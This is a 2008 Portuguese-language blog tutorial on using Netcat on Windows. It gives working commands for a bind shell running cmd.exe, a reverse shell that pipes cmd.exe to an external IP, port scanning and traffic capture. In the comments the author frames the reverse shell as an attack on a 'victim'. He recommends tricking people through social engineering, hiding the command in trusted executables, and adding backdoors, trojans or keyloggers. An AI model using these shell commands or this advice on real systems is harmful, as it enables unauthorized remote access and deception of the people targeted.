Usuário: Senha:     Cadastre-se GRÁTISAcessar o Fórum
Explorando e Aprendendo header image 2
mep
 

Tutorial do Netcat (Windows)

março 14th, 2008 · 5 Comentários

por Leonardo
http://ciadossistemas.blogspot.com

O Netcat é uma ferramenta simples e eficaz para realização de consultoria em redes. Devido à sua versatilidade, o programa chegou a ser considerado o canivete suíço do TCP/IP pela maioria dos usuários, principalmente hackers. Possui versões para Linux e Windows. Obtenha a versão Windows clicando aqui.

Uma vez baixado e extraído, você deverá acessar o programa a partir do prompt de comando. Para fazer isso, acesse, primeiramente, o diretório, com o comando cd diretório. Veja um exemplo:

cd c:\windows\system32\

Nesse caso, o executável do Netcat está na pasta system32. Poderia estar em qualquer outro diretório, até mesmo no desktop, ou pastas dos Meus Documentos. Estando dentro do diretório, que contém o executável, basta você dar os comandos específicos do programa, como mostrado logo mais.

Obs.: Se você copiou o executável para a pasta system32, não precisará dar o comando para acessar o diretório, quando for utilizar o programa.

O funcionamento básico do programa pode ser comparado a um telnet (também presente em versões para ambas as plataformas). Com ele você pode se conectar a qualquer porta de um micro que esteja rodando determinado serviço. O diferencial do Netcat em relação ao telnet, está no fato dele possuir várias opções adicionais. Com ele você pode se conectar ao shell de um sistema remoto, fazer um escaneamento de portas, um sniffing, etc.

Por se tratar de um programa em modo texto, ele precisa ser chamado da mesma forma que os executáveis do sistema, dando-se o nome, seguido dos parâmetros. Veja uma lista com a função de alguns deles:

-d: coloca o netcat em modo furtivo, desligado do console.
-e: especifica um programa a ser executado (Ex.: nc -e cmd.exe).
-h: lista todas as opções do programa(Ex.: nc -h).
-l: coloca uma porta em estado de escuta.
-L: coloca uma porta em estado de escuta avançado. Reconecta se a conexão cair.
-n: não retorna domínios, só IPs.
-o: gera um log do tráfego em hexadecimal.
-p: define uma porta local (Ex.: nc -p 14).
-v: ativa o recebimento de eco, que permite saber o que está acontecendo no sistema durante a execução de determinado comando. Recomenda-se utilizá-lo duas vezes(Ex.: nc -vv).

Acessando um shell remoto

Conexão direta

O primeiro requerimento para se estabelecer uma conexão entre dois computadores é que ambos possuam um protocolo comum instalado, no caso, o TCP/IP, que é padrão da Internet. Por default, todos os sistemas operacionais atuais já o trazem instalado. Em seguida vale lembrar que cada micro pode ter, teoricamente, até 65.535 portas rodando determinados serviços, como o FTP (porta 21), Telnet (porta 23), SMTP (porta 25), HTTP (porta 80), etc…

O primeiro passo para se realizar a conexão, sendo esta direta ou reversa, é abrir uma ou algumas portas, para que haja a comunicação. O Netcat permite abrir portas em pouquíssimos segundos.

No micro que será acessado, abra o prompt de comando e digite o seguinte código:

nc -L -p 14 -vv -e cmd.exe

No código demonstrado, o parâmetro -L fará o programa escutar de modo avançado na porta 14 e nela rodar o executável cmd.exe, que é o prompt de comando do sistema. O parâmetro -vv ( não confunda os dois “Vs” com um “W”) permite que você veja o que está acontecendo no sistema durante a execução do comando. A partir deste momento, o micro passa a agir como um servidor, permitindo que outros micros o acessem e explorem o recurso compartilhado, no caso, o shell do sistema. Veja:

Com o módulo servidor rodando, chegou a hora de conectar. No micro cliente, abra o prompt de comando e digite:

nc IPdoservidor 14

Por exemplo, se o endereço do servidor for 192.168.1.2, o comando ficaria assim:

nc 192.168.1.2 14

Se você não possui dois ou mais computadores, experimente usar o endereço de loopback 127.0.0.1, ou então o IP do seu próprio micro.

Nesta etapa da conexão, você pode até mesmo substituir o Netcat pelo telnet, obtendo o mesmo resultado, veja:

telnet 192.168.1.2 14

Esta é uma maneira bastante simples de acesso remoto que, permite em poucos segundos, obter o shell de um sistema. A partir deste ponto, você pode executar praticamente todos os comandos que são interpretados pelo prompt, afim de abrir ou copiar arquivos, editar configurações, visualizar imagens, etc…

Conexão reversa

A partir da criação do protocolo TCP/IP, ficou muito fácil realizar conexões entre diferentes computadores, não importando em qual ponto do planeta estejam, tanto é, que surgiu a Internet, a mãe de todas as redes. O problema surge quando precisamos nos conectar a um computador que esteja numa Intranet (rede privada), onde todos os micros recebem a conexão de um servidor. Esses computadores recebem endereços IP privados, ou seja, só são acessíveis dentro da rede. Geralmente eles começam com os octetos 192.168.1.x. Então, como acessá-los?

Computadores que utilizem endereços privados, só podem ser acessados externamente pelo que chamamos de conexão reversa. Esta permite que o processo de conexão seja realizado ao contrário do que seria o normal (a conexão direta). Consiste em fazer o micro interno (da rede) se conectar ao micro externo, que está conectado diretamente à Internet. Veja como isso pode ser feito no Netcat:

O primeiro passo seria abrir duas portas no micro cliente. Abra duas janelas do prompt de comando.

Na primeira digite:

nc -L -p 14 -vv

Este comando fará o programa escutar de modo avançado na porta 14.

E na segunda:
nc -L -p 15 -vv

O comando fará o mesmo que o anterior, mas escutará a porta 15.

Veja as duas janelas do shell:

Neste caso não utilizamos o parâmetro -e cmd.exe, pois agora o comando estará rodando no cliente e o Netcat irá “puxar” o shell do sistema do servidor. O código abaixo deve ser rodado no servidor:

nc -n IPdocliente 14 | cmd.exe | nc -n IPdocliente 15

Se o IP do cliente é 201.90.50.95, por exemplo, o comando ficaria da seguinte forma:

nc -n 201.90.50.95 14 | cmd.exe | nc -n 201.90.50.95 15

Obs.: o sinal de pipe “|” serve para concatenar (relacionar) a saída de um comando para a entrada de outro.

Ao rodar este comando, o micro servidor se conecta ao cliente na porta 14, passa o que for recebido durante a conexão para o shell do sistema e envia o resultado para o mesmo cliente, porém na porta 15, permitindo assim obter o shell do sistema. A janela que você utilizou para abrir a porta 14, agora servirá para digitar os comandos, que serão concatenados para a segunda janela, onde foi aberta a porta quinze. Veja um exemplo, onde eu peço para mostrar os diretórios:


Realizando um escaneamento de portas

Entre algumas das opções adicionais do programa, está a possibilidade de se fazer um scanner de portas (veja um artigo completo sobre isso, clicando aqui), que consiste em procurar portas que, eventualmente estejam abertas em determinado computador. Na verdade ele realisará a função básica de um scanner de portas, que é sondá-las e verificar se estão ou não abertas. A sintaxe do comando é bem simples:

nc -vv [Endereço IP] [Intervalo de portas] “não considere os colchetes”

Por exemplo, se eu queira verificar quais portas estão abertas num micro com o IP 192.168.1.2, faria da seguinte forma:

nc -vv 192.168.1.2 1-65535

Isso é apenas um exemplo, você pode utilizar um intervalo menor, ou então especificar apenas algumas portas a serem verificadas, separando-as por espaços:

nc -vv 192.168.1.2 21 23 25 80 110

A análise do resultado é simples. Se a porta estiver aberta, no final da linha aparecerá “open”, caso contrário, será exibido “connection refused”.


Sniffer com o Netcat

Sniffers são programas utilizados para interceptar e registrar o tráfego de dados em uma rede de computadores. Em outras palavras, eles “farejam” e registram tudo o que passa pela rede. Para utilizá-los, é imprescindível que ele seja instalado no mesmo segmento de rede, onde você quer obter os dados.

Veja um exemplo de como fazer um sniffing com o Netcat:

nc -L -vv 127.0.0.1 -p 21

O código acima irá registrar todo o tráfego realizado na porta 21 (FTP). Se você quiser gravar todas as informações obtidas num arquivo de texto, digite o mesmo comando acima, porém acrescentando o diretório para salvar (veja em negrito):

nc -L -vv 127.0.0.1 -p 21 > c:\sniffing.txt

Marcadores: geek · hacker

Comunidade: Entre na comunidade do Explorando no ORKUT!

Ofertas de Info: Compre computadores e acessórios em uma loja parceira do Explorando



5 comentários ↓
Os comentários são postados pelos visitantes, e não expressam necessariamente a opinião da equipe do site ou do autor do artigo.

  • 1 simone andrade menna // mai 4, 2008 at 12:43

    Para utilizar os recursos no NetCat é preciso ter um Ip fixo?

  • 2 simone andrade menna // mai 4, 2008 at 12:51

    Olá!
    Gostaria de saber se para utilizar os recursos do NetCat é preciso ter um Ip fixo?

  • 3 Leonardo // mai 8, 2008 at 13:07

    Não senhora!!! Você usa ele normalmente. Para ter um IP fixo você deveria contratar este serviço com uma empresa que o ofereça. Usar o netcat não tem nada a ver com ter ou não IP fixo.

    Claro que no caso da conexão reversa vai complicar, pois a “vítima” deverá executar o comando: nc -n seuIP 1ªporta | cmd.exe | nc -n seuIP 2ªporta a cada vez que você quiser realizar o acesso (ou invasão :P), mas um hacker pensaria numa segunda estratégia para evitar a redundância deste processo. Existem várias como instalação de backdoors, trojans, vírus, keyloggers, etc.

    Existem algumas pragas virtuais que até enviam o IP de determinado micro a cada conexão realizada, enfim, são várias as possibilidades para “burlar” os inconvenientes da “randomicidade” do IP.

    Concluindo, você pode realizar a primeira etapa do ataque com engenharia social, coagindo a pessoa a executar o código ou então incluí-lo em outros executáveis que a vítima confiaria em executar, é por aí. É só ter criatividade que você chege lá.

    Abraços!!!

  • 4 Kl13c // ago 18, 2008 at 23:56

    Eah.Minha duvida é a seguinte:No caso de um ip de uma rede privada querer acessar outro ip de uma outra rede privada??Ip’s de rede privada geralmente sao assim: 192.168.1.X??Valews

  • 5 Leonardo // ago 19, 2008 at 12:37

    Neste caso só seria possível através de um roteamento de portas no roteador da rede (ou o gateway).

    Este gateway deve possuir, obviamente um IP roteável (válido na Internet).

    A configuração de roteamento pode variar entre os equipamentos. Sugiro que faça uma pesquisa sobre o assunto e/ou leia o manual de seu aparelho, se esse for o caso.

    Obrigado!

Postar comentário

Veja as regras para comentários e a política de privacidade

Promoção GdH Press - Leia trechos dos livros online, sem compromisso :)

Dica: Como criar um vírus? (403)
Como escrever com letras grandes no orkut (102)
Proactive Password Auditor: Como hackear a senha do Administrador! (e todas as outras do Windows) (86)
Como roubar senhas do MSN e comunidades e profiles do orkut! (84)
Atalhos de teclado no Windows (73)
Dica: Como criar um keylogger! (em Delphi) (62)
Hackeando as senhas no Windows: Guia Definitivo! (50)
Use um domínio personalizado para seu blog! (40)
Counter Strike é proibido no Brasil (31)
O Windows que roda do CD! (27)
Rodrigo Piva: Excelente artigo! Abraços
Marcos Elias: Troy, creio que seja as aspas que aqui no site aparecem inclinadas pq do Wordpress…...
Troy: Aqui deu um erro, [Error] Unit1.pas(42): Illegal character in input file: ‘’’ ($92) como...
Marcos Elias: Fernando, ele apaga de tempos em tempos o que não é baixado (creio que ficar 30 dias sem...
Fernando: Toda vez que coloco alguns arquivos na minha pasta do 4shared com o tempo quando vou visitar está...
Marcos Elias: Eu particularmente odeio privatizações :P Claro q ser público não basta, teria q ser...
Marcos Elias: Ygor, tem um texto meu sobre o VMWare, máquinas virtuais aqui: http://www.explorando.com.b...
Marcos Elias: fredvermejo, sim, enquanto funcionar hehe.. Já comentei aqui tbm:...
Marcos Elias: Desconheço, Sergio. Sempre usei as letras mesmo :)
Sérgio Tafner: Não sou partidário, mas não se esquecam do autor das privatizações… nosso querido e...
Musica Eletronica
Livros de Linux é com o Guia do Hardware, do Carlos E. Morimoto. Leia a introdução e os primeiros capítulos online:
Livro Kurumin 7, Guia Prático
Kurumin 7, Guia Prático
Livro Linux, Ferramentas Técnicas
Linux, Ferramentas Técnicas
Cadastre-se grátis no AondeNamoro e encontre amigos, paqueras, namoradas(os):
AondeNamoro.com! Totalmente Gratuito!


Copyright © 2005-2008 Marcos Elias Picão - Todos os direitos reservados - All rights reserved
Partes do Copyright © 2006-2008 Via Mep S/A - Powered by Mep Produções
Home | Fórum do Explorando | RSS | Sobre este site | Termos de uso e privacidade | Rede de Sites Mep Host / Via Mep